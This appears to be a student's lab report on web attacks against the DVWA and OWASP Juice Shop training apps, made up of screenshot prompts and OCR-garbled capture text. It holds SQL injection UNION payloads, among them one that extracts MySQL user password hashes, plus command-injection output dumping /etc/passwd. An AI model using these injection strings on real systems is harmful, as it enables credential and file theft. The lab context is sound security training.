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Hands-On Demonstration

Part 1: Demonstrate XSS Attacks Using DVWA

12. Make a screen capture showing the line with your name enclosed in < >.
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vulnerable

22. Make a screen capture showing the popup.



Part 2: Demonstrate SQL Injection Attacks Using DVWA

4. Make a screen capture showing the SQL syntax error.
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n for the right syntax to use near

9. Make a screen capture showing the results of the query.

User ID:

[Sumi)

ipreimte SRR Tyler
‘About Surname: Baywolf

More info

13. Make a screen capture showing the error page for ORDER BY 3.
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Unknown column '3' in ‘order clause

16. Make a screen capture showing the error page for the firstname field.
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Unknown column *firstname’ in ‘where clause’

20. Make a screen capture showing the first 3 results of the query.
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Vulnerability: SQL Injection

Home
\structions |
e User ID:
sewp
Submi|
Brute Force ID: a' UNION SELECT table schema, table name FROM information Schema.tables;#
First name: information schena
Commend Exscugion =) Surname: CHARACTER SETS
csre
. ID: a' UNION SELECT table schema, table name FROM information Schema.tables;#
Insecure CAPTCHA First name: information schena
_ Surnane: COLLATIONS
FilsInclusion
i ID: a' UNION SELECT table schema, table name FROM information Schema. tables;#
First name: infornation schena
SRR Surnane: COLLATION CHARACTER SET APPLICABILITY
Upload ID: a* UNION SELECT table schema, table name FROM information Schema.tables;#
e First name: infornation schena
XSS reflected Surnane: COLUMNS
XSS stored | ID: a' UNION SELECT table schena, table_name FROM information Schema. tables;#
First name: infornation schena
Surnane: COLUMN PRIVILEGES
'DVWA Security
=5 ID: o UNION SELECT table schesa, tble nane FROH inforaation Schena. tables;#
About

23. Make a screen capture showing the first few results of the query.
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s Vulnerability: SQL Injection
Metilins User ID:
Setup.
Subimt]
Brute Force

| I0: a' UNION ALL SELECT user, password FROM mysql.user;#
First name: root
commend Exsoutios S| Surname: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

CSRF
ID: a’ UNION ALL SELECT user, password FROM mysql.user;#
Insecure CAPTCHA First name: roo
—_——————— Surname: *9CFBBC772F3F6C106020035386DASBEBF1249A11
File Inclusion

i ID: a' UNION ALL SELECT user, password FROM mysql.user;#

First name: root
SQL injection (Biind) Surname: +9CFBBC772F3F6C106020035386DASBBEF1249A11
Upload ID: a' UNION ALL SELECT user, password FROM mysql.user;#
] First name: root
XSS reflected Surnane: *OCFBBC772F3F6C106020035386DASBBEF1249A11
XSS stored I0: a' UNION ALL SELECT user, password FROM mysql.user;#
First name: debian-sys-maint
Surname: +7SFABOE9AS9DBCAGTE523373F51B4DSDACDE64E
DVWA Security M
=] ID: a' UNION ALL SELECT user, password FROM mysql.user;#
[eveinto SR First name: phpmyadni

About Surname: +9CFBBC772F

in
3F6C106020035386DASBEEF1249A11

Part 3: Command Execution

4. Make a screen capture showing the results of the command injection.
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KaliLinux @ Kali Tools

lostntiory Ping for FREE
setup

Enter an I acress below:
Brute Force

‘submit |
i —

| PING 172.30.0.13 (172.30.0
CSRE 64 bytes from 172.30.0.13
64 bytes from 172.30.0.13

Insecure CAPTCHA 64 bytes from 172.30.0.13
File Inclusion --- 172.30.0.13 ping statistics

3 packets transmitted, 3 received, 0% packet loss, tine 1998ms
(SQuinjocion NN rtt min/avg/nax/ndev = 0.015/0.033/0.052/0.015 ns
SQL Injection (Blind) root:x:0:0: root:/root: /bin/bash

= daenon:x: 1:1:daemon: /usr/sbin: /bin/sh

Upload binix:2:2:bin: /bin: /bin/sh
] sysixi3:3 /bin/sh
XSS reflected syncix:4:65534:sync: /bin:/bin/sync
—— games :x:5:60:games  /usr/games  /bin/sh
iy man:x:6:12:man: /var/cache/man: /bin/sh

pix:7:7:1p: /var/spool/Lpd: /bin/sh
DVWA Security mailix:8:8:mail:/var/mails /bin/sh
sy news:x:9:9:news: /var/spool /news: /bin/sh
PHP Info uicp: x:16:10:uucp: /var/spool /uucp: /bin/sh
——— x:13:13:proxy: /bin: /bin/sh

prox;
Ll www-data:x: 33:33:www-data: /var/ww: /bin/sh

backup: x:34:34 :backup: /var/backups : /bin/sh
Uist:x:38:38:Mailin /list:/bin/sh
Logout i

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534: nobody: /nonexistent : /bin/sh

Tibuuid:x:100:101: : /var/Lib/Libuuid: /bin/sh

Debian-exin:x:101:103: : /var/spool/exis
statd:x:102:65534: : /var/lib/nfs: /bin/

a: /bin/false

6. Make a screen capture showing the results of the command injection.
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Kali Linux Exploit-DB ogle Hacking DB 1 Of

o Vulnerability: Command Execution
S Ping for FREE
Setup.
Enter an 1P address below:
Brute Force

submit |

| Commad Bxsufion | uide=33(w-data) gid=33 (www-data) groups=33 (wwi-data)
CSRE PING 172.30.0.13 (172.30.0.13) 56(84) bytes of data
64 bytes from 172,30

0.13 s
Insecure CAPTCHA 64 bytes from 172.30.0.13 ms
i o—— 64 bytes from 172.30.0.13 ms
File Inclusion 1

-~ 172.30.0.13 ping statis
s 3 ts transmitted, 3 received, 0% packet loss, tine 1998ms
SQL Injection (Blind) rtt min/avg/max/ndev ~ 0.014/0.033/0.053/0.017 ms
Upload il
250 tetadnd More info
XSS stored
DVWA Security
PHP Info
About

Applied Learning

Part 1: Perform a Stored XSS Attack on the Juice Shop

7. Make a screen capture of the page showing your comment.
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est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam
diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren,
kasd magna no rebum.

Customer Feedback

xss (anonymous)
(Rekirirey)

Follow us on Social Media
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12. Make a screen capture showing the successful addition of Feedback but with an empty result.

O A O
ali@Attackiizie

a ¢

Bnbsp;at

ts/abstract/qu ator.js

ize/lib/dial
modul
St

o Twitter @ racebook 53k Slack © Reddit ress Kit

x

@ Damn

KaliLi

Edit View Help

query ator

W Twitter @ Facebook  gkSlack | @Reddit & Press kit

17. Make a screen capture showing the XSS alert.
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Part 2: Perform an SQL Injections Attack on the Juice Shop

3. Make a screen capture showing the unknown table error.

s ONIINSFLECTARRIM

r = Exploit-DB

OWASP Juice Shop (Express "4.17.1)

500 SequelizeDatabaseError: SQLITE_ERROR: no such table: unknown

72:18)

js1e21)

6. Make a screen capture showing the wrong column count error.

OWASP Juice Shop (Express "4.17.1)

500 SequelizeDatabaseError: SQLITE_ERROR: SELECTS to the left and right of UNION do not have the
same number of result columns

9. Make a screen capture showing the query result with the values 1 through 9.
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12. Make a screen capture showing the schema for the Users table.
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19. Make a screen capture showing the login name.
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Challenge and Analysis

Part 1: Perform a Reflected XSS Attack Manually

Document the attack string that can be used to execute the alert function from the /search endpoint in
Mousepad on the virtual machine and take a screenshot.
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